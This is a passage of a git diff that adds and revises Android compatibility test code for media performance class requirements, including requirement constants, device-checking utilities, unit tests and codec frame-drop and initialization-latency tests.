+    public static final String R5_6__H_1_1 = "r5_6__h_1_1"; // 5.6/H-1-1
+    public static final String R5_7__H_1_1 = "r5_7__h_1_1"; // 5.7/H-1-1
+    public static final String R5_7__H_1_2 = "r5_7__h_1_2"; // 5.7/H-1-2
+    public static final String R7_5__H_1_1 = "r7_5__h_1_1"; // 7.5/H-1-1
+    public static final String R7_5__H_1_2 = "r7_5__h_1_2"; // 7.5/H-1-2
+    public static final String R7_5__H_1_3 = "r7_5__h_1_3"; // 7.5/H-1-3
+    public static final String R7_5__H_1_4 = "r7_5__h_1_4"; // 7.5/H-1-4
+    public static final String R7_5__H_1_5 = "r7_5__h_1_5"; // 7.5/H-1-5
+    public static final String R7_5__H_1_6 = "r7_5__h_1_6"; // 7.5/H-1-6
+    public static final String R7_5__H_1_7 = "r7_5__h_1_7"; // 7.5/H-1-7
+    public static final String R7_5__H_1_8 = "r7_5__h_1_8"; // 7.5/H-1-8
+    public static final String R7_1_1_1__H_1_1 = "r7_1_1_1__h_1_1"; // 7.1.1.1/H-1-1
+    public static final String R7_1_1_3__H_1_1 = "r7_1_1_3__h_1_1"; // 7.1.1.3/H-1-1
+    public static final String R7_6_1__H_1_1 = "r7_6_1__h_1_1"; // 7.6.1/H-1-1
+    public static final String R7_1_1_1__H_2_1 = "r7_1_1_1__h_2_1"; // 7.1.1.1/H-2-1
+    public static final String R7_1_1_3__H_2_1 = "r7_1_1_3__h_2_1"; // 7.1.1.3/H-2-1
+    public static final String R7_6_1__H_2_1 = "r7_6_1__h_2_1"; // 7.6.1/H-2-1
+    public static final String R7_6_1__H_3_1 = "r7_6_1__h_3_1"; // 7.6.1/H-3-1
+    public static final String R8_2__H_1_1 = "r8_2__h_1_1"; // 8.2/H-1-1
+    public static final String R8_2__H_1_2 = "r8_2__h_1_2"; // 8.2/H-1-2
+    public static final String R8_2__H_1_3 = "r8_2__h_1_3"; // 8.2/H-1-3
+    public static final String R8_2__H_1_4 = "r8_2__h_1_4"; // 8.2/H-1-4
+    public static final String R8_2__H_2_1 = "r8_2__h_2_1"; // 8.2/H-2-1
+    public static final String R8_2__H_2_2 = "r8_2__h_2_2"; // 8.2/H-2-2
+    public static final String R8_2__H_2_3 = "r8_2__h_2_3"; // 8.2/H-2-3
+    public static final String R8_2__H_2_4 = "r8_2__h_2_4"; // 8.2/H-2-4
+    public static final String RTBD = "tbd"; // placeholder for requirements without a set id
+
+    public static final String CONCURRENT_SESSIONS = "concurrent_sessions";
+    public static final String TEST_RESOLUTION = "resolution";
+    public static final String CONCURRENT_FPS = "concurrent_fps";
+    public static final String SUPPORTED_PERFORMANCE_POINTS = "supported_performance_points";
+    public static final String FRAMES_DROPPED = "frame_drops_per_30sec";
+    public static final String FRAME_RATE = "frame_rate";
+    public static final String LONG_RESOLUTION = "long_resolution_pixels";
+    public static final String SHORT_RESOLUTION = "short_resolution_pixels";
+    public static final String DISPLAY_DENSITY = "display_density_dpi";
+    public static final String PHYSICAL_MEMORY = "physical_memory_mb";
+    public static final String CODEC_INIT_LATENCY = "codec_initialization_latency_ms";
+    public static final String AV1_DEC_REQ = "av1_decoder_requirement_boolean";
+    public static final String NUM_4k_HW_DEC = "number_4k_hw_decoders";
+    public static final String NUM_4k_HW_ENC = "number_4k_hw_encoders";
+    public static final String SECURE_REQ_SATISFIED = "secure_requirement_satisfied_boolean";
+    public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
+        "number_crypto_hw_secure_all_support";
+    public static final String FILESYSTEM_IO_RATE = "filesystem_io_rate_mbps";
+
+    public enum Result {
+        NA, MET, UNMET
+    }
+
+    public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
+    public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
+    public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
+    public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+    public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
+    public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
+    public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
+    public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
+
+    /**
+     * Creates a >= predicate.
+     *
+     * This is convenience method to get the types right.
+     */
+    private static <T, S extends Comparable<T>> BiPredicate<S, T> gte() {
+        return new BiPredicate<S, T>() {
+            @Override
+            public boolean test(S actual, T expected) {
+                return actual.compareTo(expected) >= 0;
+            }
+
+            @Override
+            public String toString() {
+                return "Greater than or equal to";
+            }
+        };
+    }
+
+    /**
+     * Creates a <= predicate.
+     */
+    private static <T, S extends Comparable<T>> BiPredicate<S, T> lte() {
+        return new BiPredicate<S, T>() {
+            @Override
+            public boolean test(S actual, T expected) {
+                return actual.compareTo(expected) <= 0;
+            }
+
+            @Override
+            public String toString() {
+                return "Less than or equal to";
+            }
+        };
+    }
+
+    /**
+     * Creates an == predicate.
+     */
+    private static <T, S extends Comparable<T>> BiPredicate<S, T> eq() {
+        return new BiPredicate<S, T>() {
+            @Override
+            public boolean test(S actual, T expected) {
+                return actual.compareTo(expected) == 0;
+            }
+
+            @Override
+            public String toString() {
+                return "Equal to";
+            }
+        };
+    }
+
+    private RequirementConstants() {} // class should not be instantiated
+}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
new file mode 100644
index 0000000..ac03705
--- /dev/null
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts.common;
+
+import static android.util.DisplayMetrics.DENSITY_400;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+
+/**
+ * Test utilities.
+ */
+public class Utils {
+    private static final int sPc;
+
+    private static final String TAG = "PerformanceClassTestUtils";
+    private static final String MEDIA_PERF_CLASS_KEY = "media-performance-class";
+
+    public static final int DISPLAY_DPI;
+    public static final int MIN_DISPLAY_CANDIDATE_DPI = DENSITY_400;
+    public static final int DISPLAY_LONG_PIXELS;
+    public static final int MIN_DISPLAY_LONG_CANDIDATE_PIXELS = 1920;
+    public static final int DISPLAY_SHORT_PIXELS;
+    public static final int MIN_DISPLAY_SHORT_CANDIDATE_PIXELS = 1080;
+
+    public static final long TOTAL_MEMORY_MB;
+    // Media performance requires 6 GB minimum RAM, but keeping the following to 5 GB
+    // as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
+    public static final long MIN_MEMORY_PERF_CLASS_CANDIDATE_MB = 5 * 1024;
+    // Android T Media performance requires 8 GB min RAM, so setting lower as above
+    public static final long MIN_MEMORY_PERF_CLASS_T_MB = 7 * 1024;
+
+    static {
+        // with a default-media-performance-class that can be configured through a command line
+        // argument.
+        android.os.Bundle args = InstrumentationRegistry.getArguments();
+        String mediaPerfClassArg = args.getString(MEDIA_PERF_CLASS_KEY);
+        if (mediaPerfClassArg != null) {
+            Log.d(TAG, "Running the tests with performance class set to " + mediaPerfClassArg);
+            sPc = Integer.parseInt(mediaPerfClassArg);
+        } else {
+            sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)
+                    ? Build.VERSION.MEDIA_PERFORMANCE_CLASS
+                    : SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
+        }
+        Log.d(TAG, "performance class is " + sPc);
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        DisplayMetrics metrics = new DisplayMetrics();
+        WindowManager windowManager = context.getSystemService(WindowManager.class);
+        windowManager.getDefaultDisplay().getMetrics(metrics);
+        DISPLAY_DPI = metrics.densityDpi;
+        DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
+        DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
+
+        ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+        ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
+        activityManager.getMemoryInfo(memoryInfo);
+        TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+    }
+
+    /**
+     * First defined media performance class.
+     */
+    private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
+
+    public static boolean isRPerfClass() {
+        return sPc == Build.VERSION_CODES.R;
+    }
+
+    public static boolean isSPerfClass() {
+        return sPc == Build.VERSION_CODES.S;
+    }
+
+    public static boolean isTPerfClass() {
+        return sPc == Build.VERSION_CODES.TIRAMISU;
+    }
+
+    /**
+     * Latest defined media performance class.
+     */
+    private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.TIRAMISU;
+
+    public static boolean isHandheld() {
+        // handheld nature is not exposed to package manager, for now
+        // we check for touchscreen and NOT watch and NOT tv
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+                && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+
+    public static int getPerfClass() {
+        return sPc;
+    }
+
+    public static boolean isPerfClass() {
+        return sPc >= FIRST_PERFORMANCE_CLASS &&
+               sPc <= LAST_PERFORMANCE_CLASS;
+    }
+
+    public static boolean meetsPerformanceClassPreconditions() {
+        if (isPerfClass()) {
+            return true;
+        }
+
+        // If device doesn't advertise performance class, check if this can be ruled out as a
+        // candidate for performance class tests.
+        if (!isHandheld() ||
+                TOTAL_MEMORY_MB < MIN_MEMORY_PERF_CLASS_CANDIDATE_MB ||
+                DISPLAY_DPI < MIN_DISPLAY_CANDIDATE_DPI ||
+                DISPLAY_LONG_PIXELS < MIN_DISPLAY_LONG_CANDIDATE_PIXELS ||
+                DISPLAY_SHORT_PIXELS < MIN_DISPLAY_SHORT_CANDIDATE_PIXELS) {
+            return false;
+        }
+        return true;
+    }
+
+    public static void assumeDeviceMeetsPerformanceClassPreconditions() {
+        assumeTrue(
+                "Test skipped because the device does not meet the hardware requirements for "
+                        + "performance class.",
+                meetsPerformanceClassPreconditions());
+    }
+}
diff --git a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
new file mode 100644
index 0000000..daa9d27
--- /dev/null
+++ b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.os.Build;
+
+import org.junit.Test;
+
+public class RequirementTest {
+    public static class TestReq extends Requirement {
+        private TestReq(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setMeasurement1(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_1", measure);
+        }
+
+        public static TestReq create() {
+            RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+                .<Integer>builder()
+                .setId("test_measurement_1")
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
+                .build();
+
+            return new TestReq("TestReq", measurement1);
+        }
+    }
+
+    public static class TestReqWith2Measures extends Requirement {
+        private TestReqWith2Measures(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setMeasurement1(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_1", measure);
+        }
+
+        public void setMeasurement2(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_2", measure);
+        }
+
+        public static TestReqWith2Measures create() {
+            RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+                .<Integer>builder()
+                .setId("test_measurement_1")
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
+                .build();
+            RequiredMeasurement<Integer> measurement2 = RequiredMeasurement
+                .<Integer>builder()
+                .setId("test_measurement_2")
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
+                .build();
+
+            return new TestReqWith2Measures("TestReqWith2Measures", measurement1, measurement2);
+        }
+    }
+
+    @Test
+    public void computePerformanceClass_0() {
+        TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(100);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(0);
+    }
+
+    @Test
+    public void computePerformanceClass_30() {
+        TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(200);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
+    }
+
+    @Test
+    public void computePerformanceClass_31() {
+       TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(300);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(31);
+    }
+
+    @Test
+    public void computePerformanceClass_32() {
+        TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(400);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(32);
+    }
+
+    @Test
+    public void computePerformanceClass_PicksLower() {
+        TestReqWith2Measures testReq = TestReqWith2Measures.create();
+        int pc;
+
+        // measure1 meets 32, but measure2 only meets 30
+        testReq.setMeasurement1(401);
+        testReq.setMeasurement2(201);
+
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
+    }
+
+    @Test
+    public void checkPerformanceClass_justBelow() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(32);
+        assertThat(perfClassMet).isEqualTo(false);
+    }
+
+    @Test
+    public void checkPerformanceClass_justAt() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(31);
+        assertThat(perfClassMet).isEqualTo(true);
+    }
+
+    @Test
+    public void checkPerformanceClass_justAbove() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(301);
+
+        perfClassMet = testReq.checkPerformanceClass(30);
+        assertThat(perfClassMet).isEqualTo(true);
+    }
+
+    @Test
+    public void checkPerformanceClass_OutOfRange() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        // performance class 33 not handled by testReq, so expected result is true
+        perfClassMet = testReq.checkPerformanceClass(33);
+        assertThat(perfClassMet).isEqualTo(true);
+    }
+
+    @Test
+    public void checkPerformanceClass_UnsetMeasurement() {
+        TestReq testReq = TestReq.create();
+
+        assertThrows(
+            IllegalStateException.class,
+            () -> testReq.checkPerformanceClass(31));
+    }
+
+    @Test
+    public void writeLogAndCheck_UnsetMeasurement() {
+        TestReq testReq = TestReq.create();
+
+        assertThrows(
+            IllegalStateException.class,
+            () -> testReq.writeLogAndCheck("writeLogAndCheck_UnsetMeasurement"));
+    }
+}
diff --git a/tests/mediapc/copy_media.sh b/tests/mediapc/copy_media.sh
index 20437d1..054fe76 100644
--- a/tests/mediapc/copy_media.sh
+++ b/tests/mediapc/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install media performance class test files manually
 
 adbOptions=" "
-resLabel=CtsMediaPerformanceClassTestCases-1.1
+resLabel=CtsMediaPerformanceClassTestCases-1.2
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
index 8c735d9..e1ab57a 100644
--- a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
@@ -16,18 +16,25 @@
 
 package android.mediapc.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.media.MediaCodecInfo;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
 import java.util.Collection;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * The following test class validates the frame drops of AdaptivePlayback for the hardware decoders
  * under the load condition (Transcode + Audio Playback).
@@ -40,6 +47,9 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of parameters with mimeTypes and their hardware decoders supporting the
     // AdaptivePlayback feature combining with sync and async modes.
     // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -49,22 +59,63 @@
                 MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback});
     }
 
+    private int testAdaptivePlaybackFrameDrop(int frameRate) throws Exception {
+        String[] testFiles = frameRate == 30 ?
+                new String[]{m1080p30FpsTestFiles.get(mMime), m540p30FpsTestFiles.get(mMime)} :
+                new String[]{m1080p60FpsTestFiles.get(mMime), m540p60FpsTestFiles.get(mMime)};
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+                mSurface, frameRate, mIsAsync);
+
+        return playbackFrameDrop.getFrameDropCount();
+    }
+
     /**
      * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
-     * assets of 3 seconds duration each at 60 fps for S perf class / 30 fps for R perf class,
+     * assets of 3 seconds duration each at 30 fps for R perf class,
      * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
-     * time, must not drop more than 6 frames for S perf class / 3 frames for R perf class.
+     * time, must not drop more than 3 frames for R perf class.
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testAdaptivePlaybackFrameDrop() throws Exception {
-        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
-                new String[]{m1080pTestFiles.get(mMime), m540pTestFiles.get(mMime)},
-                mSurface, FRAME_RATE, mIsAsync);
-        int frameDropCount = playbackFrameDrop.getFrameDropCount();
-        assertTrue("Adaptive Playback FrameDrop count for mime: " + mMime + ", decoder: " +
-                mDecoderName + ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: " +
-                frameDropCount + "/" + MAX_FRAME_DROP_FOR_30S,
-                frameDropCount <= MAX_FRAME_DROP_FOR_30S);
+    @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+    public void test30Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+                "advertise performance class",
+            Utils.isRPerfClass() || !Utils.isPerfClass());
+        int frameRate = 30;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_R = pce.addR5_3__H_1_2_R();
+
+        int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+        r5_3__H_1_2_R.setFramesDropped(framesDropped);
+        r5_3__H_1_2_R.setFrameRate(frameRate);
+        pce.submitAndCheck();
+    }
+
+    /**
+     * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
+     * assets of 3 seconds duration each at 60 fps for S or T perf class,
+     * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
+     * time, must not drop more than 6 frames for S perf class / 3 frames for T perf class .
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+    public void test60Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+                "not advertise performance class",
+            Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+        int frameRate = 60;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_ST = pce.addR5_3__H_1_2_ST();
+
+        int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+        r5_3__H_1_2_ST.setFramesDropped(framesDropped);
+        r5_3__H_1_2_ST.setFrameRate(frameRate);
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
new file mode 100644
index 0000000..5a4822d
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
@@ -0,0 +1,606 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.mediapc.cts.CodecTestBase.SELECT_ALL;
+import static android.mediapc.cts.CodecTestBase.SELECT_AUDIO;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CddTest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio codecs and hardware video codecs available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
+@RunWith(Parameterized.class)
+public class CodecInitializationLatencyTest {
+    private static final String LOG_TAG = CodecInitializationLatencyTest.class.getSimpleName();
+    private static final boolean[] boolStates = {false, true};
+
+    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
+    private static String AVC_DECODER_NAME;
+    private static String AVC_ENCODER_NAME;
+    private static final Map<String, String> mTestFiles = new HashMap<>();
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    static {
+        // TODO(b/222006626): Add tests vectors for remaining media types
+        // Audio media types
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_stereo_48kHz_128kbps_aac.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_mono_8kHz_12.2kbps_amrnb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_23kbps_amrwb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_12kHz_lvl4_flac.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_2ch_8kHz_alaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_2ch_8kHz_mulaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_8kHz.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_stereo_48kHz_128kbps_vorbis.ogg");
+
+        // Video media types
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_1920x1080_mpeg2_main_high.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_cif_768kbps_30fps_mpeg4.mkv");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+    }
+
+    private final String mMime;
+    private final String mCodecName;
+
+    private LoadStatus mTranscodeLoadStatus = null;
+    private Thread mTranscodeLoadThread = null;
+    private MediaRecorder mMediaRecorderLoad = null;
+    private File mTempRecordedFile = null;
+    private Surface mSurface = null;
+    private Exception mException = null;
+
+    @Before
+    public void setUp() throws Exception {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+
+        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = instrumentation.getTargetContext();
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager.getSystemAvailableFeatures());
+        assumeTrue("The device doesn't have a camera",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+        assumeTrue("The device doesn't have a microphone",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
+        createSurface();
+        startLoad();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        stopLoad();
+        releaseSurface();
+    }
+
+    public CodecInitializationLatencyTest(String mimeType, String codecName) {
+        mMime = mimeType;
+        mCodecName = codecName;
+    }
+
+    @Rule
+    public ActivityTestRule<TestActivity> mActivityRule =
+            new ActivityTestRule<>(TestActivity.class);
+
+    /**
+     * Returns the list of parameters with mimetype and their codecs(for audio - all codecs,
+     * video - hardware codecs).
+     *
+     * @return Collection of Parameters {0}_{1} -- MIME_CodecName
+     */
